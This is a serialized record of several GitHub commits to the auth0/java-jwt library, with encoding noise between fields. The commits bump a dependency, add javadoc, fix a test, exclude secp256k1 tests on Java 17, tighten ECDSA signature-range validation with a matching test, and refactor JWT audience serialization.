\ No newline at end of fileuau(3a531a301b3779118d93f9a2ab44755ace02b293}(sha(3a531a301b3779118d93f9a2ab44755ace02b293node_idEC_kwDOAQtL0doAKDNhNTMxYTMwMWIzNzc5MTE4ZDkzZjlhMmFiNDQ3NTVhY2UwMmIyOTMcommit}(author}(name
Andreas Rigasemailandreas.rigas@outlook.comdate2022-12-10T01:40:05Zu	committer}(jc  
Andreas Rigasjc  andreas.rigas@outlook.comjc  2022-12-10T01:40:05Zumessageadd documentationtree}(jc  (b07267d159056e7bbb9bf1ed2b30bbed3e5b3f79url^https://api.github.com/repos/auth0/java-jwt/git/trees/b07267d159056e7bbb9bf1ed2b30bbed3e5b3f79ujc  `https://api.github.com/repos/auth0/java-jwt/git/commits/3a531a301b3779118d93f9a2ab44755ace02b293
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujc  \https://api.github.com/repos/auth0/java-jwt/commits/3a531a301b3779118d93f9a2ab44755ace02b293html_urlQhttps://github.com/auth0/java-jwt/commit/3a531a301b3779118d93f9a2ab44755ace02b293comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3a531a301b3779118d93f9a2ab44755ace02b293/commentsjc  }(loginandrewrigasidJjc  MDQ6VXNlcjQ4Mjk2NDcx
avatar_url4https://avatars.githubusercontent.com/u/48296471?v=4gravatar_idh3jc  (https://api.github.com/users/andrewrigasjc  https://github.com/andrewrigas
followers_url2https://api.github.com/users/andrewrigas/followers
following_url?https://api.github.com/users/andrewrigas/following{/other_user}	gists_url8https://api.github.com/users/andrewrigas/gists{/gist_id}starred_url?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}subscriptions_url6https://api.github.com/users/andrewrigas/subscriptionsorganizations_url-https://api.github.com/users/andrewrigas/orgs	repos_url.https://api.github.com/users/andrewrigas/repos
events_url9https://api.github.com/users/andrewrigas/events{/privacy}received_events_url8https://api.github.com/users/andrewrigas/received_eventstypeUser
site_adminujc  }(jc  andrewrigasjc  Jjc  MDQ6VXNlcjQ4Mjk2NDcxjc  4https://avatars.githubusercontent.com/u/48296471?v=4jc  h3jc  (https://api.github.com/users/andrewrigasjc  https://github.com/andrewrigasjc  2https://api.github.com/users/andrewrigas/followersjc  ?https://api.github.com/users/andrewrigas/following{/other_user}jc  8https://api.github.com/users/andrewrigas/gists{/gist_id}jc  ?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}jc  6https://api.github.com/users/andrewrigas/subscriptionsjc  -https://api.github.com/users/andrewrigas/orgsjc  .https://api.github.com/users/andrewrigas/reposjc  9https://api.github.com/users/andrewrigas/events{/privacy}jc  8https://api.github.com/users/andrewrigas/received_eventsjc  Userjc  uparents]}(jc  (d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081jc  \https://api.github.com/repos/auth0/java-jwt/commits/d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081jc  Qhttps://github.com/auth0/java-jwt/commit/d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081uastats}(totalK	additionsK	deletionsKufiles](}(jc  (2c7f016cb532f82d5bc0590c433174cd388a5f76filenamelib/build.gradlestatusmodifiedjd  Kjd  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/3a531a301b3779118d93f9a2ab44755ace02b293/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/3a531a301b3779118d93f9a2ab44755ace02b293/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=3a531a301b3779118d93f9a2ab44755ace02b293patchX2  @@ -65,7 +65,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.4.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.14.0'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'u}(jc  (ed74bab4591f8b6666ecd8d385380a44cf460c30jd  /lib/src/main/java/com/auth0/jwt/JWTCreator.javajd  modifiedjd  Kjd  K jd  Kjd  https://github.com/auth0/java-jwt/blob/3a531a301b3779118d93f9a2ab44755ace02b293/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajd  https://github.com/auth0/java-jwt/raw/3a531a301b3779118d93f9a2ab44755ace02b293/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajd  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=3a531a301b3779118d93f9a2ab44755ace02b293j!d  X   @@ -100,6 +100,7 @@ public Builder withHeader(Map<String, Object> headerClaims) {
          * If provided json is null then nothing is changed
          *
          * @param headerClaimsJson the values to use as Claims in the token's Header.
+         * @throws JsonProcessingException  if json value has invalid structure
          * @return this same Builder instance.
          */
         public Builder withHeader(String headerClaimsJson) throws JsonProcessingException {
@@ -493,6 +494,7 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
          * @return this same Builder instance.
          * @throws IllegalArgumentException if any of the claim keys or null,
          *                                  or if the values are not of a supported type.
+         * @throws JsonProcessingException  if json value has invalid structure
          */
         public Builder withPayload(String payloadClaimsJson) throws IllegalArgumentException, JsonProcessingException {
             if (payloadClaimsJson == null) {ueu(13be9f951a9de75fe86223112857b82e06aed18d}(sha(13be9f951a9de75fe86223112857b82e06aed18dnode_idEC_kwDOAQtL0doAKDEzYmU5Zjk1MWE5ZGU3NWZlODYyMjMxMTI4NTdiODJlMDZhZWQxOGQcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-07T17:08:18Zu	committer}(j5d  James Andersonj7d  jim.anderson@auth0.comj9d  2022-03-07T17:08:18Zumessagefix NullClaimTest for asInstanttree}(j-d  (219b7858159764dea396c116e18eade55a2c10faurl^https://api.github.com/repos/auth0/java-jwt/git/trees/219b7858159764dea396c116e18eade55a2c10faujEd  `https://api.github.com/repos/auth0/java-jwt/git/commits/13be9f951a9de75fe86223112857b82e06aed18d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujEd  \https://api.github.com/repos/auth0/java-jwt/commits/13be9f951a9de75fe86223112857b82e06aed18dhtml_urlQhttps://github.com/auth0/java-jwt/commit/13be9f951a9de75fe86223112857b82e06aed18dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/13be9f951a9de75fe86223112857b82e06aed18d/commentsj3d  }(login
jimmyjamesidJ7 j/d  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jEd  'https://api.github.com/users/jimmyjamesjQd  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj;d  }(jVd  
jimmyjamesjXd  J7 j/d  MDQ6VXNlcjI3NjIyNQ==jZd  2https://avatars.githubusercontent.com/u/276225?v=4j\d  h3jEd  'https://api.github.com/users/jimmyjamesjQd  https://github.com/jimmyjamesj_d  1https://api.github.com/users/jimmyjames/followersjad  >https://api.github.com/users/jimmyjames/following{/other_user}jcd  7https://api.github.com/users/jimmyjames/gists{/gist_id}jed  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jgd  5https://api.github.com/users/jimmyjames/subscriptionsjid  ,https://api.github.com/users/jimmyjames/orgsjkd  -https://api.github.com/users/jimmyjames/reposjmd  8https://api.github.com/users/jimmyjames/events{/privacy}jod  7https://api.github.com/users/jimmyjames/received_eventsjqd  Userjsd  uparents]}(j-d  (4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4edajEd  \https://api.github.com/repos/auth0/java-jwt/commits/4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4edajQd  Qhttps://github.com/auth0/java-jwt/commit/4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4edauastats}(totalK	additionsK	deletionsKufiles]}(j-d  (bd4781305346f9534f7232c14696fcf41508b49afilename7lib/src/test/java/com/auth0/jwt/impl/NullClaimTest.javastatusmodifiedjd  Kjd  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/13be9f951a9de75fe86223112857b82e06aed18d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/13be9f951a9de75fe86223112857b82e06aed18d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.java?ref=13be9f951a9de75fe86223112857b82e06aed18dpatch@@ -52,7 +52,7 @@ public void shouldGetAsDate() {
 
     @Test
     public void shouldGetAsInstant() {
-        assertThat(claim.asDate(), is(nullValue()));
+        assertThat(claim.asInstant(), is(nullValue()));
     }
 
     @Testuau(9c2d51f3a408dee49545b471a07f3957b4089b3d}(sha(9c2d51f3a408dee49545b471a07f3957b4089b3dnode_idEC_kwDOAQtL0doAKDljMmQ1MWYzYTQwOGRlZTQ5NTQ1YjQ3MWEwN2YzOTU3YjQwODliM2Qcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-04T17:14:20Zu	committer}(jd  
Poovamraj T Tjd  poovamraj@gmail.comjd  2022-03-04T17:14:20Zumessage#Exclude secp256k1 Tests for Java 17tree}(jd  (19529648c0ab2151d63502b556af84c64c7af111url^https://api.github.com/repos/auth0/java-jwt/git/trees/19529648c0ab2151d63502b556af84c64c7af111ujd  `https://api.github.com/repos/auth0/java-jwt/git/commits/9c2d51f3a408dee49545b471a07f3957b4089b3d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujd  \https://api.github.com/repos/auth0/java-jwt/commits/9c2d51f3a408dee49545b471a07f3957b4089b3dhtml_urlQhttps://github.com/auth0/java-jwt/commit/9c2d51f3a408dee49545b471a07f3957b4089b3dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9c2d51f3a408dee49545b471a07f3957b4089b3d/commentsjd  }(login	poovamrajidJ jd  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jd  &https://api.github.com/users/poovamrajjd  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujd  }(jd  	poovamrajjd  J jd  MDQ6VXNlcjE1OTEwNDI1jd  4https://avatars.githubusercontent.com/u/15910425?v=4jd  h3jd  &https://api.github.com/users/poovamrajjd  https://github.com/poovamrajjd  0https://api.github.com/users/poovamraj/followersjd  =https://api.github.com/users/poovamraj/following{/other_user}jd  6https://api.github.com/users/poovamraj/gists{/gist_id}jd  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jd  4https://api.github.com/users/poovamraj/subscriptionsjd  +https://api.github.com/users/poovamraj/orgsjd  ,https://api.github.com/users/poovamraj/reposjd  7https://api.github.com/users/poovamraj/events{/privacy}jd  6https://api.github.com/users/poovamraj/received_eventsjd  Userjd  uparents]}(jd  (4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5jd  \https://api.github.com/repos/auth0/java-jwt/commits/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5jd  Qhttps://github.com/auth0/java-jwt/commit/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5uastats}(totalK
	additionsK
	deletionsK ufiles]}(jd  (2bb5c599acc6d4ccabac39d0929d3dd531862862filenamelib/build.gradlestatusmodifiedje  K
je  K changesK
blob_urlbhttps://github.com/auth0/java-jwt/blob/9c2d51f3a408dee49545b471a07f3957b4089b3d/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/9c2d51f3a408dee49545b471a07f3957b4089b3d/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=9c2d51f3a408dee49545b471a07f3957b4089b3dpatchX7  @@ -113,6 +113,19 @@ def testJava17 = tasks.register('testJava17', Test) {
         languageVersion = JavaLanguageVersion.of(17)
     })
     shouldRunAfter(tasks.named('test'))
+
+    //Following Tests are excluded in Java 17 since secp256k1 curve is disabled Java 15+
+    filter {
+        excludeTestsMatching "*.jwt.ConcurrentVerifyTest.shouldPassECDSA256KVerificationWithJOSESignature"
+        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldAddKeyIdIfAvailableFromECDSAKAlgorithms"
+        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms"
+        excludeTestsMatching "*.jwt.JWTTest.shouldCreateAnEmptyECDSA256KSignedToken"
+        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignature"
+        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
+        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithProvidedPublicKey"
+        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
+        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithProvidedPublicKey"
+    }
 }
 
 tasks.named('check') {uau(208d7b66c281fcd91dbc5d83fe51d676ee5e0d51}(sha(208d7b66c281fcd91dbc5d83fe51d676ee5e0d51node_idEC_kwDOAQtL0doAKDIwOGQ3YjY2YzI4MWZjZDkxZGJjNWQ4M2ZlNTFkNjc2ZWU1ZTBkNTEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-03T16:37:52Zu	committer}(je  
Poovamraj T Tj!e  poovamraj@gmail.comj#e  2022-05-03T16:37:52ZumessageImproved order comparisontree}(je  (621e876320fda0791c81a00ccaa035851c34cb87url^https://api.github.com/repos/auth0/java-jwt/git/trees/621e876320fda0791c81a00ccaa035851c34cb87uj/e  `https://api.github.com/repos/auth0/java-jwt/git/commits/208d7b66c281fcd91dbc5d83fe51d676ee5e0d51
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj/e  \https://api.github.com/repos/auth0/java-jwt/commits/208d7b66c281fcd91dbc5d83fe51d676ee5e0d51html_urlQhttps://github.com/auth0/java-jwt/commit/208d7b66c281fcd91dbc5d83fe51d676ee5e0d51comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/208d7b66c281fcd91dbc5d83fe51d676ee5e0d51/commentsje  }(login	poovamrajidJ je  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j/e  &https://api.github.com/users/poovamrajj;e  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj%e  }(j@e  	poovamrajjBe  J je  MDQ6VXNlcjE1OTEwNDI1jDe  4https://avatars.githubusercontent.com/u/15910425?v=4jFe  h3j/e  &https://api.github.com/users/poovamrajj;e  https://github.com/poovamrajjIe  0https://api.github.com/users/poovamraj/followersjKe  =https://api.github.com/users/poovamraj/following{/other_user}jMe  6https://api.github.com/users/poovamraj/gists{/gist_id}jOe  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jQe  4https://api.github.com/users/poovamraj/subscriptionsjSe  +https://api.github.com/users/poovamraj/orgsjUe  ,https://api.github.com/users/poovamraj/reposjWe  7https://api.github.com/users/poovamraj/events{/privacy}jYe  6https://api.github.com/users/poovamraj/received_eventsj[e  Userj]e  uparents]}(je  (3135ba7893ea60882500fa509c6d98fe48a4f0f8j/e  \https://api.github.com/repos/auth0/java-jwt/commits/3135ba7893ea60882500fa509c6d98fe48a4f0f8j;e  Qhttps://github.com/auth0/java-jwt/commit/3135ba7893ea60882500fa509c6d98fe48a4f0f8uastats}(totalK	additionsK	deletionsKufiles](}(je  (00b68cad3238cd7c13ca52330a9d8612a90b868efilename>lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javastatusmodifiedjwe  Kjxe  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/208d7b66c281fcd91dbc5d83fe51d676ee5e0d51/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/208d7b66c281fcd91dbc5d83fe51d676ee5e0d51/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=208d7b66c281fcd91dbc5d83fe51d676ee5e0d51patchX  @@ -191,8 +191,12 @@ void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) thr
         BigInteger order = publicKey.getParams().getOrder();
 
         // R and S must be less than N
-        if (order.compareTo(r) < 1 || order.compareTo(s) < 1) {
-            throw new SignatureException("The difference between R or S value and order should be greater than one.");
+        if (order.compareTo(r) < 1) {
+            throw new SignatureException("The difference between R value and order should be greater than one.");
+        }
+
+        if (order.compareTo(s) < 1){
+            throw new SignatureException("The difference between S value and order should be greater than one.");
         }
     }
 u}(je  (a02c639b17469bd3aa8fc38423a1a0a474d95544j}e  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaje  modifiedjwe  Kjxe  Kje  Kje  https://github.com/auth0/java-jwt/blob/208d7b66c281fcd91dbc5d83fe51d676ee5e0d51/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaje  https://github.com/auth0/java-jwt/raw/208d7b66c281fcd91dbc5d83fe51d676ee5e0d51/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaje  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=208d7b66c281fcd91dbc5d83fe51d676ee5e0d51je  X  @@ -1429,7 +1429,7 @@ public void signatureWithSZeroShouldFail() throws Exception {
     }
 
     @Test
-    public void signatureWithRSValueNotLessThanOrderShouldFail() throws Exception {
+    public void signatureWithRValueNotLessThanOrderShouldFail() throws Exception {
         exception.expect(SignatureException.class);
 
         ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
@@ -1444,4 +1444,22 @@ public void signatureWithRSValueNotLessThanOrderShouldFail() throws Exception {
         ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
         algorithm256.validateSignatureStructure(invalidSignature, publicKey);
     }
+
+    @Test
+    public void signatureWithSValueNotLessThanOrderShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+        String jwtWithInvalidSig = signedJwt.substring(0, signedJwt.lastIndexOf('.') + 1) + "_____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        String[] chunks = jwtWithInvalidSig.split("\\.");
+        byte[] invalidSignature = Base64.getUrlDecoder().decode(chunks[2]);
+        invalidSignature[0] = Byte.MAX_VALUE;
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(invalidSignature, publicKey);
+    }
 }
\ No newline at end of fileueu(3ca141bcd42a36532ea0d783dbf84c0fff1f00a1}(sha(3ca141bcd42a36532ea0d783dbf84c0fff1f00a1node_idPMDY6Q29tbWl0MTc1MTc1MjE6M2NhMTQxYmNkNDJhMzY1MzJlYTBkNzgzZGJmODRjMGZmZjFmMDBhMQ==commit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2021-09-10T02:13:27Zu	committer}(je  GitHubje  noreply@github.comje  2021-09-10T02:13:27Zumessage.Merge branch 'master' into restore-with-issuertree}(je  (c914d532175e728b47b24f1f5b018a4f1b1bb084url^https://api.github.com/repos/auth0/java-jwt/git/trees/c914d532175e728b47b24f1f5b018a4f1b1bb084uje  `https://api.github.com/repos/auth0/java-jwt/git/commits/3ca141bcd42a36532ea0d783dbf84c0fff1f00a1
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJhOr9HCRBK7hj4Ov3rIwAAZ7sIAKdaaezxUGlzD1O2T8cmOovM
YVeD+TNTkk9OcnDrOG0sOeMVkwWVNNlzKeBDAf0PM3CRW43I4F1T3pEbXaSGvv7D
Ee1J9kfJu0O/YQ/bASBTeK/BVp0kaOigruhFWbZXKMrML9OVZg0q6ceN3nR1yjDW
+CRsEmApNc4bcPcwOOpDG4Zbh0aDKL/5K2HBYvv2m0xl20Ut09mXYbbDbrAcniIr
T5fy6V0g+0O8Oubjp/p3k2sealp+0X4q0yBe01Fr4sxNlQyjZMkKxKO5ePEWOTfj
I5DCO0mf7bMp4ZF46hlXkgIBocF05sZkHHpmdeUEZZYG1Bpy+3fbraONAyOZg7s=
=ZY2n
-----END PGP SIGNATURE-----
payloadX2  tree c914d532175e728b47b24f1f5b018a4f1b1bb084
parent ff6136ff9ed895b2121361822436825e8bc544c1
parent 971d6fa4c632c1b815d485fe4a63be76c439900e
author Jim Anderson <jim.anderson@auth0.com> 1631240007 -0500
committer GitHub <noreply@github.com> 1631240007 -0500

Merge branch 'master' into restore-with-issueruuje  \https://api.github.com/repos/auth0/java-jwt/commits/3ca141bcd42a36532ea0d783dbf84c0fff1f00a1html_urlQhttps://github.com/auth0/java-jwt/commit/3ca141bcd42a36532ea0d783dbf84c0fff1f00a1comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3ca141bcd42a36532ea0d783dbf84c0fff1f00a1/commentsje  }(login
jimmyjamesidJ7 je  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3je  'https://api.github.com/users/jimmyjamesje  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuje  }(je  web-flowje  J/je  MDQ6VXNlcjE5ODY0NDQ3je  4https://avatars.githubusercontent.com/u/19864447?v=4je  h3je  %https://api.github.com/users/web-flowje  https://github.com/web-flowje  /https://api.github.com/users/web-flow/followersje  <https://api.github.com/users/web-flow/following{/other_user}je  5https://api.github.com/users/web-flow/gists{/gist_id}je  <https://api.github.com/users/web-flow/starred{/owner}{/repo}je  3https://api.github.com/users/web-flow/subscriptionsje  *https://api.github.com/users/web-flow/orgsje  +https://api.github.com/users/web-flow/reposje  6https://api.github.com/users/web-flow/events{/privacy}je  5https://api.github.com/users/web-flow/received_eventsje  Userje  uparents](}(je  (ff6136ff9ed895b2121361822436825e8bc544c1je  \https://api.github.com/repos/auth0/java-jwt/commits/ff6136ff9ed895b2121361822436825e8bc544c1je  Qhttps://github.com/auth0/java-jwt/commit/ff6136ff9ed895b2121361822436825e8bc544c1u}(je  (971d6fa4c632c1b815d485fe4a63be76c439900eje  \https://api.github.com/repos/auth0/java-jwt/commits/971d6fa4c632c1b815d485fe4a63be76c439900eje  Qhttps://github.com/auth0/java-jwt/commit/971d6fa4c632c1b815d485fe4a63be76c439900euestats}(totalK	additionsK_	deletionsK"ufiles](}(je  (8a86c04ac8fb0b2adede52416f8876e50d3c9739filename;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javastatusmodifiedje  K(je  KchangesKFblob_urlhttps://github.com/auth0/java-jwt/blob/3ca141bcd42a36532ea0d783dbf84c0fff1f00a1/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaraw_urlhttps://github.com/auth0/java-jwt/raw/3ca141bcd42a36532ea0d783dbf84c0fff1f00a1/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=3ca141bcd42a36532ea0d783dbf84c0fff1f00a1patchX(  @@ -5,8 +5,7 @@
 import com.fasterxml.jackson.databind.ser.std.StdSerializer;
 
 import java.io.IOException;
-import java.util.Date;
-import java.util.Map;
+import java.util.*;
 
 /**
  * Jackson serializer implementation for converting into JWT Payload parts.
@@ -30,40 +29,51 @@ public void serialize(ClaimsHolder holder, JsonGenerator gen, SerializerProvider
 
         gen.writeStartObject();
         for (Map.Entry<String, Object> e : holder.getClaims().entrySet()) {
-            switch (e.getKey()) {
-                case PublicClaims.AUDIENCE:
-                    if (e.getValue() instanceof String) {
-                        gen.writeFieldName(e.getKey());
-                        gen.writeString((String) e.getValue());
-                        break;
-                    }
-                    String[] audArray = (String[]) e.getValue();
-                    if (audArray.length == 1) {
-                        gen.writeFieldName(e.getKey());
-                        gen.writeString(audArray[0]);
-                    } else if (audArray.length > 1) {
-                        gen.writeFieldName(e.getKey());
-                        gen.writeStartArray();
-                        for (String aud : audArray) {
-                            gen.writeString(aud);
-                        }
-                        gen.writeEndArray();
-                    }
-                    break;
-                default:
-                    gen.writeFieldName(e.getKey());
-                    if (e.getValue() instanceof Date) { // true for EXPIRES_AT, ISSUED_AT, NOT_BEFORE
-                        gen.writeNumber(dateToSeconds((Date) e.getValue()));
-                    } else {
-                        gen.writeObject(e.getValue());
-                    }
-                    break;
+            if (PublicClaims.AUDIENCE.equals(e.getKey())) {
+                writeAudience(gen, e);
+            } else {
+                gen.writeFieldName(e.getKey());
+                if (e.getValue() instanceof Date) { // true for EXPIRES_AT, ISSUED_AT, NOT_BEFORE
+                    gen.writeNumber(dateToSeconds((Date) e.getValue()));
+                } else {
+                    gen.writeObject(e.getValue());
+                }
             }
         }
 
         gen.writeEndObject();
     }
 
+    private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throws IOException {
+        if (e.getValue() instanceof String) {
+            gen.writeFieldName(e.getKey());
+            gen.writeString((String) e.getValue());
+        } else {
+            List<String> audArray = new ArrayList<>();
+            if (e.getValue() instanceof String[]) {
+                audArray = Arrays.asList((String[]) e.getValue());
+            } else if (e.getValue() instanceof List) {
+                List<?> audList = (List<?>) e.getValue();
+                for (Object aud : audList) {
+                    if (aud instanceof String) {
+                        audArray.add((String)aud);
+                    }
+                }
+            }
+            if (audArray.size() == 1) {
+                gen.writeFieldName(e.getKey());
+                gen.writeString(audArray.get(0));
+            } else if (audArray.size() > 1) {
+                gen.writeFieldName(e.getKey());
+                gen.writeStartArray();
+                for (String aud : audArray) {
+                    gen.writeString(aud);
+                }
+                gen.writeEndArray();
+            }
+        }
+    }
+
     private long dateToSeconds(Date date) {
         return date.getTime() / 1000;
